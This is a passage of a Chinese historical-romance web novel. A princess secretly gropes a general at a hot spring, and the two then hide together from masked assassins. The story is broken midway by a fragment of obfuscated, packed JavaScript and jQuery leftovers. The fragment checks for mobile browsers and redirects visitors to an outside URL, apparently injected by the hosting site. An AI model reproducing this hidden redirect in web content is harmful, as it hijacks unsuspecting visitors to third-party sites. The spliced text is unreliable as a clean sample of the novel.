随后她的惊叹又转为惊悚。
若是爱好男色的南侯真是梦中的乱臣贼子,她皇兄可不就完了!
不要哇。
谢安宁一手按在膝上,学做刚才在假山石上练习过几次的手法拔匕首。
一握,一抽拔,哪晓得扑了空。
匕首去哪了?
她晕乎乎地重复好几次都没有摸到匕首。
身后早已经披上长里衣的徐淮南转身,见趴在石池壁上的少女软着身儿,一双嫩生生的手在浸过水后紧贴着纤细腰线上乱摸。
他目光落在她被热水打湿的白皙后颈,顺着湿黑的秀发,目光宛如条条细小蛇划过她的身子。
他沉默,随后弯腰拾起水中的匕首,神色如常地摊开手:“公主可是在寻此物?”
谢安宁侧过粉红娇俏的脸,朦胧的眼珠似蒙了热雾,视线落在匕首上一定。
就是她的匕首。
应该是她腰实在太细了,匕首没在她腰上捆着,而是落下了水池。
“是我的,多谢。”谢安宁欲伸手去拿,染着浅粉丹蔻的指尖尚未碰上他,忽然顿住。
她惊愕抬眸,看向眼前湿身不显狼狈的俊美青年,“你怎知我身份!”
他额间的水珠仿佛因她震惊的声音,划过姣好的浓眉,在脸上淌出透明的湿痕。
徐淮南薄唇似讪笑都懒得勾起,淡道:“公主方才说的,且,今日此处应无外人会来,所以臣斗胆猜测,公主乃十五殿下,安宁公主。”
谢安宁沉默。
随后她娇靥染梅,眼尾挑着抹水色瞪着他,哆嗦抬起手指向他:“大胆,你既然知道,不仅敢抢本殿下的汤池,还抢本殿下用来保护自己的匕首!”
以为她会夸他聪明吗?
不,她要毫不犹豫将脏水泼到他身上,甚至妄想等下好治他冒犯公主的大罪。
谢安宁全然忘记自己乃后来者,且现在落在男人的汤池中,一副抓住他把柄的得意。
徐淮南淡淡‘哦’了声,手指握住匕首,平静凝望她的俊美玉面上露出若有所思的神情。
他半身浸在水中,无一点尘的面容氤氲白雾,随后凉薄地握着匕首,慢慢将尖刃对准她,和善噙笑:“小公主是想治臣的罪吗?”
这一刻,谢安宁僵住,眼睫簌颤盯着他,脑子仿佛停止了转动。
等等,她来之前是不是用允王的身份收买走了外面那些人,这里是不是除了徐淮南和她就没人了?她是不是还伪造了,自己还在房中休息的假象?
所以她死在这里,完全没人发现啊。
谢安宁没想到坏事能做成这个局面,越想越心慌,俏脸惨白高傲扬起,不看对准自己的匕首,妄图不让他看出,自己害怕得水下的双腿在颤巍巍地发抖。
“徐淮南,你想做什么,我可是公主。”
徐淮南莞尔,笑意从秾艳的眉眼开始爬上俊颜,起身朝她一步步走来:“公主觉得臣想做什么?”
“是公主不仅偷偷提前藏在臣沐浴之地,被发现后将保护臣的人都指使走,自己却在臣身上乱摸乱看,又从身上掉下来锋利的匕首。”
他停在她已退无可退的身前,在她满眼惊悚的神情中缓缓俯身。
谢安宁僵着身子不敢动。
徐淮南直勾勾盯着她扩张的瞳孔,笑如朗月入怀,温声问:“小公主,到底想要从我身上找什么,嗯?”
最后的尾音如缠绵的冷钩子,勾住谢安宁的耳朵发麻,那匕首更是直接插在她的旁边,仿佛等下便会让她成为一具血肉淋漓的骨架。
谢安宁余光瞥他插在旁边的匕首,后背发凉,寒气从脚底蔓延。
她无比肯定,徐淮南没表面看着这般和善。
若她是跟着皇兄一起学威仪的长公主,是家世硬得旁人难动的公主,她根本不会畏惧任何人。
但她只是凭着太子皇兄宠爱,实则普通得再也不能再普通,凡情绪激动就会忍不住红眼眶落泪的十五公主。
谢安宁竭力瘪着嘴忍着,睁着含泪雾的眼,一副受了极大委屈的眼神看着他:“你就这么想要知道吗?我可以告诉你啊,凶我做什么!”
徐淮南垂下凝望她的眼睫微不可查地颤了颤,目光落在她委屈得颤抖的玫红唇瓣上,接着便瞧见那只唇形漂亮的小口中,吐出理直气壮的委屈言语。
“我就是听说在外面打过仗的男人浑身是硬肉,弧度极其漂亮,本殿下、本殿下只是好奇,想看看你是否如他们所言那般健硕,所以过来看看怎么了?”
说罢她还真忍不住往他胸膛上瞧。
这不瞧不打紧,一瞧嫉妒就从眼眶涌出来,与坠在浓睫上的泪珠混在一起。
好可恶啊,虽然没看见,但他胸肌好大。
她这辈子因以纤弱为美,腰倒是细软,唯有这里虽然也挺翘形如水滴,但始终缺点丰腴,没想到这个男人倒是挺壮观的。
信不信给他捏爆。
嫉妒搅在胸口闷得慌,她一时忘了眼下所处情形,怀着恶意抬手朝他袭去。
徐淮南未曾料想,满眼柔弱的公主转眼便神色可怜地袭上他,饶是再灵敏的感知,也猜不出她与那些杀手敌人般袭击命脉不同,而是……
他脸色微变,难言之意从心口涌来,淡然屹立水中的身影颤栗不稳。
谢安宁哪管他现在神情如何,嫉妒下格外专注地五指收拢,稍用力就使得面前玉骨秀横秋的雪中贵公子挺身喘了出来。
她闻言下意识抬眸,却见面方还淡漠冷然的男人,此刻迷蒙的眼中如一池被惊破的水,泛起淡淡涟漪。
怪异的红从他眼尾蔓延到胸口,呼吸缓慢而重,活似她赢得众人惊叹后飘飘欲仙的欢愉。
谢安宁看呆了,忘了下一步要做什么,双手冒犯地撑在男人的心口,感受到一阵阵剧烈的心跳,耳门好似也满是巨大的震撼。
很快又兴奋地亮着眼,松开手往下滑。
虽然不知道他怎么露出了,那副神志不清的怪表情,但她现在可以趁他失神,而快速下手。
今日他腰腹下的那颗痣,她非看不可。
当她手指再次如上次那般,不经意似勾到腰间红线,徐淮南蓦然从迷蒙中回神。
他迅速握住她的手腕抬起反压在池壁上,潮红未褪的脸似含着淡淡的冷意,薄唇中露出尖锐的寒牙。
“殿下,冒犯了。”
随后她便被他扯烂自身里衣成布条,捆住双手,推上了池壁。
谢安宁恼羞成怒,欲大斥他放肆,美眸抬起便见他从水中长腿冒出,破烂的里衣湿漉漉地贴在身上,肌肤上被捏出的红痕明显。
色出恰到好处的霪态。
简直就是天选荡夫。
谢安宁脑子霎时涌入许多画面,还没仔细看他那身子,就被抱起闪身入了方才她躲过的假山缝中。
见他一言不发便抱着她钻假山,她大惊,刚气鼓鼓地红着脸呵斥他大胆,嘴唇便被捂住了。
男人低沉的气息拂在耳畔,仿若毒蛇吐信,让她不寒而栗。
“若是小公主愿意现在出去,臣可以丢公主出去。”
带有水中余温的手从后面捏住她的下颚,稍往缝隙方向转动,她便看见外面的景象。
几位蒙面的杀手从外面走进来,个个手持长剑,警惕地拨弄地上那块被融化的雪水。
其中一人跳进汤池中,长剑在水中狠插数下,再抬头对同伙摇头,水中没有藏人。
另一名杀手提着剑环顾周遭,似要在周围查看。
而躲藏在假山缝隙中的谢安宁见此场景,下意识反应是欣喜,没想到徐淮南是个惹是生非的性子,刚入京没几日就有除她之外的人雇佣杀手来杀他。
这份喜悦没过多久,她后知后觉地反应过来,那杀手正在朝她走来。
谢安宁被掐着下巴捂着唇,抵在冰凉寒石头上不能动弹,只能抬起水漉漉的眼往上,隐约看见从自己身上冒着热烟。
杀手发现她后,会不会将她当成和徐淮南一起的,然后也顺道将她杀了?
会,肯定会,如果是她,她就会如此。
这种体位,就算是砍,先被砍的也是她。
好歹毒的男人。
谢安宁紧张得眼珠轻颤,偏生此刻身后的徐淮南不知道是吓疯了,竟然在低声问她。
“公主,要不要一起死?”
谁要和他一起死!谢安宁在他掌心摇头,哪怕怯弱怕死的本性暴露也顾不得。
她才不要死,还没活够呢。
贴在掌心的唇软湿湿的,轻如蝶羽展翅,徐淮南的手指微不可查地抖了下,随后垂睫安静地等。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17422429|200838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>谢安宁看着提剑而来的杀手越靠越近,胸口心跳剧烈得仿佛下一刻要从喉咙中震出来,而那杀手脚步蓦然止住。
“不好,我们早被发现了!人应该早就不在此处了。”
不知那杀手自作聪明地想到了什么,转头冲同伴低声说后,警惕地带着他们撤退。
谢安宁眼睁睁看着他们沿后山追去,高悬的心骤然落下,身子被放开后软成一滩柔软的水,趴在石上喘。
差点就要死了。
她转过含泪的眼看向身后整理衣着的男人,担忧问道:“你不怕等下他们回来吗?”
行出假山的徐淮南闻少女软腔嗲调,掌心被蹭过的湿感如跗骨之蛆难以压抑,神情如常道:“不会。”
但凡是在南境与南侯对战过的人,都已将他研究透了,南侯不会亲身为诱饵,藏匿在肉眼可见的危险中,留下的只会是死侍,亦或是留给敌人的死。
徐淮南拾起地上的氅袍,披在身上,赤足立在冬雪中回首望向石缝中柔弱的小公主。
风雪停驻,他笑落薄唇:“公主,此处危险尚未解除,可要与臣一道下山。”
谢安宁自然是想张口拒绝,可想到刚才提剑的杀手,尽管他说那些杀手不会回来,但谁知到底会不会。
独自留在这里确实不安全。
“要。”谢安宁忙不迭点头,漂亮的脸像是蜷在缝隙里竭力张开的粉玉兰,唇瓣冷惨惨地透出股可怜劲儿。
徐淮南凝望几眼,忽然抬步,清瘦的赤脚踩在雪上冷白出皮下可窥的青筋,屈膝蹲在她的面前。
从缝隙里灌进来的冷风被他挡住,身上浓郁的冷梅檀香占据了整个洞口,她仿佛被蛛网严丝合缝地裹住,危险的毒蛛正悬在她的头顶,以一种怪异的模样欣赏她。
谢安宁抬脸,紧张得瞳孔扩张。
幸好他只看了两眼,便轻声赞叹:“小公主的头,生得真好。”
这话倒是在夸谢安宁,她自负美貌,身段好,别人夸她总能使她忍不住得意地翘起嘴角笑。
心中对他的讨厌暂时淡了些,但若是让她发现梦中的乱臣贼子就是他,她还是要杀他的。
谢安宁从缝隙中钻出来,浑身上下湿漉漉的,发上的毛绒小球已经结冰,嘴唇乌白地哆嗦:“我们快些下山吧。”
她快冷死了。
徐淮南掠过她强作镇定,嘴皮颤栗的脸,“公主随臣来。”
说罢,他拾级往里屋走去。
谢安宁不明所以,跟了上去。
进去后她才明白他的意思,原来此处有备用的干净衣裳。
谢安宁欢喜地选了套,正欲进屋换下身上湿后快结冰的衣裙,似才想起来什么,脚下忽然凝滞。
她转头看向身后的徐淮南,黑亮的明眸中盛满后知后觉的疑惑:“你怎么知晓这里有衣物的?”
她明明比他先来,躲在里面亲眼看见他径直下了汤池,根本就没进来过,那他究竟是怎么知晓这里有衣裙的?
后者唇绽如血月,轻声挑不出错道:“自是因此地观内道长亲口所言,臣记下了。”
原是这样啊。
谢安宁狠狠打了个寒颤,鼻尖通红地露出恍然大悟的神情,满意地抱着衣裙踅身进入内屋。
见她进去,徐淮南取下另一套,亦进另间屋,缓步行至屏风内。
他神色平静地褪下身上被撕破的里衣,蜂腰猿臂暴露于寒冷空气中,隆起的硬肌随抬手青筋凸显。
换至一半,他忽然停下褪绸裤的动作,随后神情平静地穿上衣,转身时肌肤上被捏得通红的指印,恰好从躲在屏风外的谢安宁眼前划过。
没错,凭谢安宁聪明的脑袋与灵敏的心思,怎可能会放过这等好机会,她早就过来偷看了。
只是她没想到徐淮南此人下裤不离体,恨不得与他宝贵的双腿长在一起。
她什么也看不见,就记住了大胸上的指印。
谢安宁恼怒咬牙,老实弯着腰像偷东西的漂亮小老鼠,垫着脚从门口钻进去。
一不做,二不休,她趁徐淮南不注意,直接将人推倒。
在他平静的眼神下,谢安宁跨腿坐在他的身上,眉宇染着得逞的明艳笑意。
她低头欲扯他的裤子,手指尚未往下,门口便传来熟悉的声音。
“安宁。”